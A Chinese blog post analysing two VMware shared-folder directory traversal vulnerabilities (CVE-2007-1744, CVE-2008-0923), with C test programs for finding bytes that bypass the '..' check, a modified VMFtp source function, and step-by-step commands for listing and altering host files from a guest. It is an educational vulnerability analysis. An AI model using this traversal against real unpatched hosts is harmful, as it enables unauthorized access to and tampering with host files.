priestath's profile自由的心PhotosBlogListsMore Tools Help

Blog


    October 22

    VMwarel漏洞分析

    最近比较偷懒,写了代码就不想总结了,赶紧记下一篇,大家有兴趣可以看看:
    VMware漏洞实例分析之共享文件夹目录遍历漏洞
      一 名词定义
      Host机:运行VMware软件的真实主机;
      Guest机:装在VMware软件中的虚拟系统;
      后门:VMware有一套自己专有的“Backdoor I/O Port”指令,Host和Guest之间的所有数据都是通过一个固定的IO端口,使用in和out指令来进行传递,Guest就是通过这个端口发命令让Host帮助它完成某些自身不能完成的工作。
      二 漏洞背景
      理论上来说,可以认为Host机和Guest机是两台不同的电脑,只不过它们是共享同一套真实的物理硬件,这样就带来一个问题,即如何在Host和 Guest之间传输数据, VMware的共享文件夹就是解决该问题的一个很实用功能,不需要设置任何网络,就可以在Host和Guest机器间互相传输文件。至于怎么设置共享文件 夹,不是本文的重点,就不多说了,不熟悉的建议Google一下先。
      在安装完VMware Tools后,会在Guest机上看到一个名为Hgfs.sys的文件,这个驱动文件实现了一个虚拟的文件系统,这个虚拟文件系统的根目录就 是\\.host,当你在Guest机上进入任何共享文件夹的目录时,可以看到路径都是以\\.host开始的,在这个目录下的所有操作都将通过后门传递 给运行在Host上的VMware主程序。举例来说:在Host机上有个目录是:E:\Debug\Share,把这个目录设置为Guest系统的共享目 录后,VMware会记录下这个目录所对应的Host路径是E:\Debug\Share,当在Guest机的“运行”对话框中输入:\\.host \Shared Folders\Share,就会在Guest上打开E:\Debug\Share这个目录。这个过程是通过后门完成的,Guest把“遍历目录“命令传 递给Host,Host上的VMware主程序找到该目录对应关系,通过API函数遍历E:\Debug\Share目录,把得到的数据通过后门返回给 Guest,最后Guest上就列出了Share目录下的所有文件。
      三 漏洞描述
      现在就到了本文所要说的重点了。我们知道,当Guest位于\\.host\Shared Folders\Share目录下时,Guest执行命令“dir”,就相当于要求Host机执行“dir E:\Debug\Share”,没有问题。那再让Guest执行命令“dir ..”,会发生什么情况呢?如果是Host本身在执行这条命令,没有问题,自然会列出E:\Debug下的所有文件;但现在要求执行命令的是 Guest,Host只设置了E:\Debug\Share这个目录给Guest,自然是希望Guest只能看到这个目录,而没有权限看到它的父目录,因 此VMware会对含有“..”的路径名作特别处理,处理的结果就是Guest上执行这条命令无效。
      那么它的处理方法是什么呢?简单说来是这样的,VMware会对共享文件夹的路径名进行验证,确认它不含有0×2e0×2e(翻译为ASCII子字符就是 “..”)字符串后,就会将其从多字节字符串转换为宽字符字符串,然后将所生成的宽字符字符串传送给Host上的系统文件API。这个转换使用 Windows API中的MultiByteToWideChar函数完成。该函数的原型如下:
      int MultiByteToWideChar (
      UINT CodePage,
      DWORD dwFlags,
      LPCSTR lpMultiByteStr,
      int cbMultiByte,
      LPWSTR lpWideCharStr,
      int cchWideChar
      );
      这里只对dwFlags做简单解释。
      dwFlags:指定是否转换成预制字符或合成的宽字符,对控制字符是否使用像形文字,以及怎样处理无效字符。其中:
      MB_ERR_INVALID_CHARS:设置此选项,则函数遇到非法字符就失败并返回错误码ERROR_NO_UNICODE_TRANSLATION,否则丢弃非法字符。
      正是由于对MultiByteToWideChar函数中dwFlags参数的错误使用,导致VMware共享文件夹先后出现了两个漏洞,按时间顺序是 CVE-2007-1744和CVE-2008-0923。不过严格说起来,这并非是因为VMware开发人员在使用 MultiByteToWideChar函数时的编码错误,而是由于这套验证机制本身在逻辑上就存在一个漏洞。因为:验证“..”字符串是在转换输入字符 串之前执行的,因此只要Guest系统上的恶意程序或用户提供的路径名可以通过验证,则在调用MultiByteToWideChar之后仍可能映射为包 含有Unicode UTF-16版本的“..”字符串。
      3.1 CVE-2007-1744
      受影响版本:
      VMWare VMWare Workstation 5.5.3 build 34685
      不受影响版本:
      VMWare VMWare Workstation 5.5.4 build 44386
      这个漏洞的起因是dwFlags使用了默认值0,这意味着在转换过程中会忽略输入的无效字符,因此可以很容易地构造出一个多字节字符串,轻松地绕过验证,成为Unicode UTF-16版本的“..”。示例程序如下:
      #include <windows.h>
      int main(int argc, char* argv[])
      {
      unsigned int ans;
      char utf8[] = { 0xc0,0×2e,0xc0,0×2e }; //0xc0是无效字符
      wchar_t utf16[100] = { 0 };
      UINT CodePage = CP_UTF8;
      ans = MultiByteToWideChar(CodePage,
      0,
      (LPCSTR)&utf8,
      4,
      (LPWSTR)utf16,
      100);
      printf(”utf16: %S\n”, utf16);
      return 0;
      }
      尽管0xc0是无效字符,但因为使用的的dwFlags值是0,所以MultiByteToWideChar函数会忽略它,而继续转换有效的字符 0×2e,所以执行这个程序的输出结果是:utf16: ..可见,只要我们在输入的路径名中包含“0xc00×2e0xc00×2e”,那么就能够通过VMware对0×2e0×2e的验证,因此Host会去 访问上层目录,从而让Guest看到不应该看到的东西。
      3.2 CVE-2008-0923
      受影响版本
      VMWare Workstation 6.0.2
      VMWare Workstation 5.5.4
      VMWare Player 2.0.2
      VMWare Player 1.0.4
      VMWare ACE 2.0.2
      VMWare ACE 1.0.2
      不受影响版本:
      VMWare Workstation 6.0.3
      VMWare Workstation 5.5.6
      VMWare Player 2.0.3
      VMWare Player 1.0.5
      VMWare ACE 2.0.3
      VMWare ACE 1.0.5
      VMWare ESX
      VMWare Server
      由于上个漏洞中dwFlags参数简单使用了默认值0,导致无效字符也能够顺利通过转换,因此VMware的更新版本中将dwFlags参数的值修 改为 MB_ERR_INVALID_CHARS,这个宏的整数值是8。这样一来,像上面使用过的“0xc00×2e0xc00×2e”字符串,由于包含了无效 字符,就会导致MultiByteToWideChar函数调用失败了。那么,我们有没有办法构造出一个有效的多字节字符序列,而又能成功转换为 Unicode UTF-16版本的“..”呢?试一试就知道了,还是让程序来帮忙吧。测试程序如下:
      #include <windows.h>
      #include <stdio.h>
      #include <stdlib.h>
      int main(int argc, char* argv[])
      {
      unsigned int i, ans;
      unsigned char buf[200];
      UINT CodePage = CP_UTF8;
      for (i=1; i; i++)
      {
      memset(buf, 0, 200);
      ans = MultiByteToWideChar(CodePage,
      MB_ERR_INVALID_CHARS, //8
      (LPCSTR)&i,
      4,
      (LPWSTR)buf,
      100);
      if (ans && (buf[0] == ‘.’) && (buf[1] == 0) && ((i & 0xff) != ‘.’))
      {
      printf(”%d %04x: %02x %02x %02x %02x\n”, ans, i,
      buf[0], buf[1], buf[2], buf[3]);
      getchar(); // 找到后让程序暂停一下
      }
      }
      return 0;
      }
      很快就能找到第1个字符序列是“0xc20×2e0xc20×2e”,也就是说它能够通过验证,并且成功地转换为Unicode UTF-16版本的“..”。
      四 漏洞利用
      现在,这两个漏洞的形成原因及利用原理已经清楚了,可是怎么样在VMware中利用呢?首先我们必须在路径名中包含这些字符,但这些字符又并非可输入字符,并且还不能经过Guest系统的Shell处理,而必须直接传递给后门才行,所以我们有两种办法可以选择:
      1)直接调用VMware的后门指令,实现一个简单的“VMware Tools”,将“遍历目录”命令传递给Host,但是这就要求熟悉后门指令,而且调用过程很繁琐;
      2)利用网上现有资源。VM Back Project是个极好的开放源代码工程,支持多种平台,在Windows平台上直接用VC6就能编译,它实现了一套直接调用VMware后门指令的命令 行工具,并且里面列出了VMware所有已知的后门指令。其中VMFtp是一个实用的命令行程序,从名字可以猜到,它模拟了一个FTP程序,不过这个 FTP只限于在Host和Guest之间传递文件。
      为避繁就简,我们以VMFtp为例,讲解第2个漏洞CVE-2008-0923的利用方法。在Guest机上启动VMFtp.exe,默认就进入了共享文 件夹,输入“ls”命令(相当于“dir”),将会列出所有的共享目录;假设当前有一个目录名为Share,那么运行“cd Share”,就会进入Share目录;再输入“ls”命令,就会列出Share目录下的所有文件;现在再输入“ls ..”显示上层目录,仍然是只能看到我们定义了的共享目录,可见在正常情况下VMware屏蔽了包含“0×2e0×2e”的路径。现在我们对VMFtp进 行改造,把源代码vmw/src/vmshf.c中的函数ReplaceDelim修改为如下:
      static void ReplaceDelim(char *str, uint32_t length, char delim)
      {
      while (length–)
      {
      if (*(str + length) == ‘\0′ ||
      *(str + length) == ‘/’ ||
      *(str + length) == ‘\\’)
      {
      *(str + length) = delim;
      }
      if (*(str + length) == ‘+’)
      *(str + length) = ‘\xc2′;
      }
      }
      修改的目的就是要让VMFtp将我们输入的字符“+”自动替换为“0xc2”,重新编译VMFtp后运行。进入Share目录,输入“ls +.+./”,现在能看到什么呢?在Share的父目录下所有文件就都列出来了,输入“ls +.+./+.+.”,则更上一层目录的文件又都列出来了,再比如输入“ls +.+./+.+./soft”之类的路径,以此类推,这样Share目录所在整个分区的文件都在Guest机上一览无遗了,而且还能做替换、删除文件等 操作。VMFtp在我的VMware 6.0.2中的Guest运行的情况如下所示:
      如果这个共享目录是设在系统盘(如C盘)的话,则Host机上所有的系统文件都可以被Guest上的用户或攻击程序所任意操作,可见这个漏洞的危害还是很大的,解决办法是安装目前最新版本的VMware或者禁用共享文件夹(默认情况下为启用)。
      五 动态调试
      最后再简单说一下动态调试这个漏洞的方法,用OllyICE附加上正在运行的vmware-vmx.exe,然后下 Kernel32.MultiByteToWideChar断点,因为MultiByteToWideChar是被VMware频繁使用的函数,所以最好 用条件断点,可以根据输入字符串的长度来,我使用的条件是:eax>6&&eax<15,熟悉OllyICE的话可以根据实 际运行情况作调整。在调试状态下运行上面所说的命令,就能看到MultiByteToWideChar转换前和转换后的状态了。如下所示:
      转换前的状态:
      转换后的状态:
      附件中包含已经修改过的VMFtp.exe,可以直接在VMware 6.0.2及以前的版本上测试。
      VMFtp的源代码下载:http://chitchat.at.infoseek.co.jp/vmware/vmw-060510.zip。
      六 参考资料
      1 漏洞发现者:coresecurity公司的论文。
      http://www.coresecurity.com/content/advisory-vmware
      2 VM Back Project
      http://chitchat.at.infoseek.co.jp/vmware/

    Comments (1)

    Please wait...
    Sorry, the comment you entered is too long. Please shorten it.
    You didn't enter anything. Please try again.
    Sorry, we can't add your comment right now. Please try again later.
    To add a comment, you need permission from your parent. Ask for permission
    Your parent has turned off comments.
    Sorry, we can't delete your comment right now. Please try again later.
    You've exceeded the maximum number of comments that can be left in one day. Please try again in 24 hours.
    Your account has had the ability to leave comments disabled because our systems indicate that you may be spamming other users. If you believe that your account has been disabled in error please contact Windows Live support.
    Complete the security check below to finish leaving your comment.
    The characters you type in the security check must match the characters in the picture or audio.

    To add a comment, sign in with your Windows Live ID (if you use Hotmail, Messenger, or Xbox LIVE, you have a Windows Live ID). Sign in


    Don't have a Windows Live ID? Sign up

    Huan Liwrote:
    你发明一下mac的ppstream被
    有了它我就心甘情愿的用mac
    Oct. 24

    Trackbacks

    The trackback URL for this entry is:
    http://priestath.spaces.live.com/blog/cns!6DF054F10A2FCD86!248.trak
    Weblogs that reference this entry
    • None